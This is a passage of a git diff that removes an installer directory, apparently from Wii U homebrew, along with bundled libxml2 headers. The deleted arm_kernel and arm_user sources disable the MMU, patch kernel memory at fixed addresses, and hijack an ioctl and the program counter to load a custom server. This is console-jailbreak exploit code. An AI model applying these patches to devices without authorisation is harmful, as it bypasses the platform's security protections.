$(BUILD) -f $(CURDIR)/Makefile - -$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/wupserver_bin.h $(CURDIR)/payload/arm_user_bin.h - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ - -$(CURDIR)/payload/wupserver_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/../wupserver -f $(CURDIR)/../wupserver/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/../wupserver/wupserver_bin.h $@ - -$(CURDIR)/payload/arm_user_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(CURDIR)/*.elf $(CURDIR)/payload - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean - @$(MAKE) --no-print-directory -C $(CURDIR)/../wupserver -f $(CURDIR)/../wupserver/Makefile clean - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -../data/loader.bin: - $(MAKE) -C ../loader clean - $(MAKE) -C ../loader -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.jpg.o : %.jpg - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.bin.o : %.bin - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.wav.o : %.wav - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.mp3.o : %.mp3 - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ogg.o : %.ogg - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.zip.o : %.zip - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/installer/arm_kernel/Makefile b/installer/arm_kernel/Makefile deleted file mode 100644 index f9bc904..0000000 --- a/installer/arm_kernel/Makefile +++ /dev/null @@ -1,72 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/installer/arm_kernel/link.ld b/installer/arm_kernel/link.ld deleted file mode 100644 index c28ba4a..0000000 --- a/installer/arm_kernel/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x100) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/installer/arm_kernel/source/crt0.s b/installer/arm_kernel/source/crt0.s deleted file mode 100644 index 83d7bb6..0000000 --- a/installer/arm_kernel/source/crt0.s +++ /dev/null @@ -1,9 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -_start: - b _main diff --git a/installer/arm_kernel/source/main.c b/installer/arm_kernel/source/main.c deleted file mode 100644 index 4bd4d3c..0000000 --- a/installer/arm_kernel/source/main.c +++ /dev/null @@ -1,106 +0,0 @@ -#include "types.h" -#include "../../payload/arm_user_bin.h" - -static const char repairData_set_fault_behavior[] = { - 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, - 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, - 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, -}; -static const char repairData_set_panic_behavior[] = { - 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, - 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, - 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, - 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, - 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, - 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, - 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, -}; -static const char repairData_usb_root_thread[] = { - 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, - 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, - 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, - 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, - 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, - 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, - 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, -}; - -/* from smealum's iosuhax: must be placed at 0x05059938 */ -static const char os_launch_hook[] = { - 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, - 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, - 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, - 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, - 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, - 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, - 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, - 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, - 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, -}; - -unsigned int disable_mmu(void); -void restore_mmu(unsigned int control_register); - -int _main() -{ - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; - void(*invalidate_icache)() = (void(*)())0x0812DCF0; - void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; - void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; - char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; - - flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache - - int level = disable_interrupts(); - - unsigned int control_register = disable_mmu(); - - /* Save the request handle so we can reply later */ - *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; - - /* Patch kernel_error_handler to BX LR immediately */ - *(int*)0x08129A24 = 0xE12FFF1E; - - void * pset_fault_behavior = (void*)0x081298BC; - kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); - - void * pset_panic_behavior = (void*)0x081296E4; - kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); - - void * pusb_root_thread = (void*)0x10100174; - kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); - - void * pUserBinSource = (void*)0x01E50000; - void * pUserBinDest = (void*)0x101312D0; - kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); - - // take wupserver from mem1 - u32 wupserver_bin_len = *(volatile u32*)0x01E70000; - void *wupserver_bin = (void*)0x01E70020; - - // overwrite mcp_d_r code with wupserver - *(volatile u32*)(0x0510E56C - 0x05100000 + 0x13D80000) = 0x47700000; // bx lr - void *wupserver_dst = (void*)(0x0510E570 - 0x05100000 + 0x13D80000); - kernel_memcpy(wupserver_dst, wupserver_bin, wupserver_bin_len); - invalidate_dcache((u32)wupserver_dst, wupserver_bin_len); - invalidate_icache(); - - // replace ioctl 0x62 code with jump to wupserver - *(volatile u32*)(0x05026BA8 - 0x05000000 + 0x081C0000) = 0x47780000; // bx pc - *(volatile u32*)(0x05026BAC - 0x05000000 + 0x081C0000) = 0xE59F1000; // ldr r1, [pc] - *(volatile u32*)(0x05026BB0 - 0x05000000 + 0x081C0000) = 0xE12FFF11; // bx r1 - *(volatile u32*)(0x05026BB4 - 0x05000000 + 0x081C0000) = 0x0510E570; // wupserver code - - *(int*)(0x1555500) = 0; - - /* REENABLE MMU */ - restore_mmu(control_register); - - invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache - invalidate_icache(); - - enable_interrupts(level); - - return 0; -} diff --git a/installer/arm_kernel/source/mmu.s b/installer/arm_kernel/source/mmu.s deleted file mode 100644 index 17fab93..0000000 --- a/installer/arm_kernel/source/mmu.s +++ /dev/null @@ -1,18 +0,0 @@ -.section ".text" -.arm -.align 4 - -.globl disable_mmu -.type disable_mmu, %function -disable_mmu: - mrc p15, 0, r0, c1, c0, 0 - ldr r1, =#0xFFFFEFFA - and r1, r0, r1 - mcr p15, 0, r1, c1, c0, 0 - bx lr - -.globl restore_mmu -.type restore_mmu, %function -restore_mmu: - mcr p15, 0, r0, c1, c0, 0 - bx lr diff --git a/installer/arm_kernel/source/types.h b/installer/arm_kernel/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/installer/arm_kernel/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/installer/arm_user/Makefile b/installer/arm_user/Makefile deleted file mode 100644 index f9bc904..0000000 --- a/installer/arm_user/Makefile +++ /dev/null @@ -1,72 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/installer/arm_user/link.ld b/installer/arm_user/link.ld deleted file mode 100644 index 5408355..0000000 --- a/installer/arm_user/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x04) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/installer/arm_user/source/crt0.s b/installer/arm_user/source/crt0.s deleted file mode 100644 index b5608cd..0000000 --- a/installer/arm_user/source/crt0.s +++ /dev/null @@ -1,20 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -.extern memset -.type memset, %function - -_start: - b _main - - .global IOS_DCFlushAllCache -IOS_DCFlushAllCache: - MOV R15, R0 -clean_loop: - MRC p15, 0, r15, c7, c10, 3 - BNE clean_loop - MCR p15, 0, R0, c7, c10, 4 diff --git a/installer/arm_user/source/main.c b/installer/arm_user/source/main.c deleted file mode 100644 index 6f90ca5..0000000 --- a/installer/arm_user/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "types.h" -#include "utils.h" - - -void _main() -{ - - void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; - - int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; - - int saved_handle = *(volatile u32*)0x01E10000; - int myret = reply(saved_handle, 0); - if (myret != 0) - ios_shutdown(1); - - // stack pointer will be 0x1016AE30 - // link register will be 0x1012EACC - asm("LDR SP, newsp\n" - "LDR R0, newr0\n" - "LDR LR, newlr\n" - "LDR PC, newpc\n" - "newsp: .word 0x1016AE30\n" - "newlr: .word 0x1012EACC\n" - "newr0: .word 0x10146080\n" - "newpc: .word 0x10111164\n"); - - - -} diff --git a/installer/arm_user/source/types.h b/installer/arm_user/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/installer/arm_user/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/installer/arm_user/source/utils.c b/installer/arm_user/source/utils.c deleted file mode 100644 index f02ae47..0000000 --- a/installer/arm_user/source/utils.c +++ /dev/null @@ -1,25 +0,0 @@ - -void* m_memcpy(void *dst, const void *src, unsigned int len) -{ - const unsigned char *src_ptr = (const unsigned char *)src; - unsigned char *dst_ptr = (unsigned char *)dst; - - while(len) - { - *dst_ptr++ = *src_ptr++; - --len; - } - return dst; -} - -void* m_memset(void *dst, int val, unsigned int bytes) -{ - unsigned char *dst_ptr = (unsigned char *)dst; - unsigned int i = 0; - while(i < bytes) - { - dst_ptr[i] = val; - ++i; - } - return dst; -} diff --git a/installer/arm_user/source/utils.h b/installer/arm_user/source/utils.h deleted file mode 100644 index fd41db2..0000000 --- a/installer/arm_user/source/utils.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef _UTILS_H_ -#define _UTILS_H_ - -void* m_memcpy(void *dst, const void *src, unsigned int len); -void* m_memset(void *dst, int val, unsigned int len); - -#endif diff --git a/installer/include/stdint.h b/installer/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/installer/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/installer/libxml2/README.md b/installer/libxml2/README.md deleted file mode 100644 index aa6a45e..0000000 --- a/installer/libxml2/README.md +++ /dev/null @@ -1,2 +0,0 @@ -Built from libxml2-2.9.4 with the following config: -./autogen.sh --disable-shared --enable-static --with-minimum=yes --with-output=yes --host=powerpc-eabi \ No newline at end of file diff --git a/installer/libxml2/include/libxml/DOCBparser.h b/installer/libxml2/include/libxml/DOCBparser.h deleted file mode 100644 index 9394fa7..0000000 --- a/installer/libxml2/include/libxml/DOCBparser.h +++ /dev/null @@ -1,96 +0,0 @@ -/* - * Summary: old DocBook SGML parser - * Description: interface for a DocBook SGML non-verifying parser - * This code is DEPRECATED, and should not be used anymore. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __DOCB_PARSER_H__ -#define __DOCB_PARSER_H__ -#include - -#ifdef LIBXML_DOCB_ENABLED - -#include -#include - -#ifndef IN_LIBXML -#ifdef __GNUC__ -#warning "The DOCBparser module has been deprecated in libxml2-2.6.0" -#endif -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Most of the back-end structures from XML and SGML are shared. - */ -typedef xmlParserCtxt docbParserCtxt; -typedef xmlParserCtxtPtr docbParserCtxtPtr; -typedef xmlSAXHandler docbSAXHandler; -typedef xmlSAXHandlerPtr docbSAXHandlerPtr; -typedef xmlParserInput docbParserInput; -typedef xmlParserInputPtr docbParserInputPtr; -typedef xmlDocPtr docbDocPtr; - -/* - * There is only few public functions. - */ -XMLPUBFUN int XMLCALL - docbEncodeEntities(unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen, int quoteChar); - -XMLPUBFUN docbDocPtr XMLCALL - docbSAXParseDoc (xmlChar *cur, - const char *encoding, - docbSAXHandlerPtr sax, - void *userData); -XMLPUBFUN docbDocPtr XMLCALL - docbParseDoc (xmlChar *cur, - const char *encoding); -XMLPUBFUN docbDocPtr XMLCALL - docbSAXParseFile (const char *filename, - const char *encoding, - docbSAXHandlerPtr sax, - void *userData); -XMLPUBFUN docbDocPtr XMLCALL - docbParseFile (const char *filename, - const char *encoding); - -/** - * Interfaces for the Push mode. - */ -XMLPUBFUN void XMLCALL - docbFreeParserCtxt (docbParserCtxtPtr ctxt); -XMLPUBFUN docbParserCtxtPtr XMLCALL - docbCreatePushParserCtxt(docbSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - docbParseChunk (docbParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -XMLPUBFUN docbParserCtxtPtr XMLCALL - docbCreateFileParserCtxt(const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - docbParseDocument (docbParserCtxtPtr ctxt); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_DOCB_ENABLED */ - -#endif /* __DOCB_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLparser.h b/installer/libxml2/include/libxml/HTMLparser.h deleted file mode 100644 index 551186c..0000000 --- a/installer/libxml2/include/libxml/HTMLparser.h +++ /dev/null @@ -1,306 +0,0 @@ -/* - * Summary: interface for an HTML 4.0 non-verifying parser - * Description: this module implements an HTML 4.0 non-verifying parser - * with API compatible with the XML parser ones. It should - * be able to parse "real world" HTML, even if severely - * broken from a specification point of view. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __HTML_PARSER_H__ -#define __HTML_PARSER_H__ -#include -#include - -#ifdef LIBXML_HTML_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Most of the back-end structures from XML and HTML are shared. - */ -typedef xmlParserCtxt htmlParserCtxt; -typedef xmlParserCtxtPtr htmlParserCtxtPtr; -typedef xmlParserNodeInfo htmlParserNodeInfo; -typedef xmlSAXHandler htmlSAXHandler; -typedef xmlSAXHandlerPtr htmlSAXHandlerPtr; -typedef xmlParserInput htmlParserInput; -typedef xmlParserInputPtr htmlParserInputPtr; -typedef xmlDocPtr htmlDocPtr; -typedef xmlNodePtr htmlNodePtr; - -/* - * Internal description of an HTML element, representing HTML 4.01 - * and XHTML 1.0 (which share the same structure). - */ -typedef struct _htmlElemDesc htmlElemDesc; -typedef htmlElemDesc *htmlElemDescPtr; -struct _htmlElemDesc { - const char *name; /* The tag name */ - char startTag; /* Whether the start tag can be implied */ - char endTag; /* Whether the end tag can be implied */ - char saveEndTag; /* Whether the end tag should be saved */ - char empty; /* Is this an empty element ? */ - char depr; /* Is this a deprecated element ? */ - char dtd; /* 1: only in Loose DTD, 2: only Frameset one */ - char isinline; /* is this a block 0 or inline 1 element */ - const char *desc; /* the description */ - -/* NRK Jan.2003 - * New fields encapsulating HTML structure - * - * Bugs: - * This is a very limited representation. It fails to tell us when - * an element *requires* subelements (we only have whether they're - * allowed or not), and it doesn't tell us where CDATA and PCDATA - * are allowed. Some element relationships are not fully represented: - * these are flagged with the word MODIFIER - */ - const char** subelts; /* allowed sub-elements of this element */ - const char* defaultsubelt; /* subelement for suggested auto-repair - if necessary or NULL */ - const char** attrs_opt; /* Optional Attributes */ - const char** attrs_depr; /* Additional deprecated attributes */ - const char** attrs_req; /* Required attributes */ -}; - -/* - * Internal description of an HTML entity. - */ -typedef struct _htmlEntityDesc htmlEntityDesc; -typedef htmlEntityDesc *htmlEntityDescPtr; -struct _htmlEntityDesc { - unsigned int value; /* the UNICODE value for the character */ - const char *name; /* The entity name */ - const char *desc; /* the description */ -}; - -/* - * There is only few public functions. - */ -XMLPUBFUN const htmlElemDesc * XMLCALL - htmlTagLookup (const xmlChar *tag); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlEntityLookup(const xmlChar *name); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlEntityValueLookup(unsigned int value); - -XMLPUBFUN int XMLCALL - htmlIsAutoClosed(htmlDocPtr doc, - htmlNodePtr elem); -XMLPUBFUN int XMLCALL - htmlAutoCloseTag(htmlDocPtr doc, - const xmlChar *name, - htmlNodePtr elem); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlParseEntityRef(htmlParserCtxtPtr ctxt, - const xmlChar **str); -XMLPUBFUN int XMLCALL - htmlParseCharRef(htmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - htmlParseElement(htmlParserCtxtPtr ctxt); - -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlNewParserCtxt(void); - -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlCreateMemoryParserCtxt(const char *buffer, - int size); - -XMLPUBFUN int XMLCALL - htmlParseDocument(htmlParserCtxtPtr ctxt); -XMLPUBFUN htmlDocPtr XMLCALL - htmlSAXParseDoc (xmlChar *cur, - const char *encoding, - htmlSAXHandlerPtr sax, - void *userData); -XMLPUBFUN htmlDocPtr XMLCALL - htmlParseDoc (xmlChar *cur, - const char *encoding); -XMLPUBFUN htmlDocPtr XMLCALL - htmlSAXParseFile(const char *filename, - const char *encoding, - htmlSAXHandlerPtr sax, - void *userData); -XMLPUBFUN htmlDocPtr XMLCALL - htmlParseFile (const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - UTF8ToHtml (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -XMLPUBFUN int XMLCALL - htmlEncodeEntities(unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen, int quoteChar); -XMLPUBFUN int XMLCALL - htmlIsScriptAttribute(const xmlChar *name); -XMLPUBFUN int XMLCALL - htmlHandleOmittedElem(int val); - -#ifdef LIBXML_PUSH_ENABLED -/** - * Interfaces for the Push mode. - */ -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlCreatePushParserCtxt(htmlSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - htmlParseChunk (htmlParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -#endif /* LIBXML_PUSH_ENABLED */ - -XMLPUBFUN void XMLCALL - htmlFreeParserCtxt (htmlParserCtxtPtr ctxt); - -/* - * New set of simpler/more flexible APIs - */ -/** - * xmlParserOption: - * - * This is the set of XML parser options that can be passed down - * to the xmlReadDoc() and similar calls. - */ -typedef enum { - HTML_PARSE_RECOVER = 1<<0, /* Relaxed parsing */ - HTML_PARSE_NODEFDTD = 1<<2, /* do not default a doctype if not found */ - HTML_PARSE_NOERROR = 1<<5, /* suppress error reports */ - HTML_PARSE_NOWARNING= 1<<6, /* suppress warning reports */ - HTML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ - HTML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ - HTML_PARSE_NONET = 1<<11,/* Forbid network access */ - HTML_PARSE_NOIMPLIED= 1<<13,/* Do not add implied html/body... elements */ - HTML_PARSE_COMPACT = 1<<16,/* compact small text nodes */ - HTML_PARSE_IGNORE_ENC=1<<21 /* ignore internal document encoding hint */ -} htmlParserOption; - -XMLPUBFUN void XMLCALL - htmlCtxtReset (htmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - htmlCtxtUseOptions (htmlParserCtxtPtr ctxt, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadDoc (const xmlChar 